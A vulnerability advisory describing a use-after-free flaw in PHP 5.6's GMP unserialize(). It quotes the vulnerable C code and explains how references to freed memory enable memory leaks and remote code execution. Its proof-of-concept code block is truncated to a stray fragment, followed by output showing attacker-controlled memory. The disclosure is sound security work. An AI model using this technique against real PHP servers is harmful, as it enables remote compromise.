#Use After Free Vulnerability in unserialize() with GMP Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.17 - Release Date: 2015.9.4 > A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... INIT_ZVAL(zv); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_STRING || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE ) { zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC); goto exit; } zval_dtor(&zv); INIT_ZVAL(zv); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } ``` The GMP object's deserialization can create ZVAL and free its zval_value from memory via zval_dtor(). However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12. ``` >= 8; } return $out; } ?> ``` Test the PoC on the command line: ``` $ php uafpoc.php array(2) { [0]=> int(1122334455) <=== so we can control the memory and create fake ZVAL :) [1]=> object(GMP)#1 (2) { [0]=> array(1) { [0]=> int(4325299791) } ["num"]=> string(1) "1" } } ```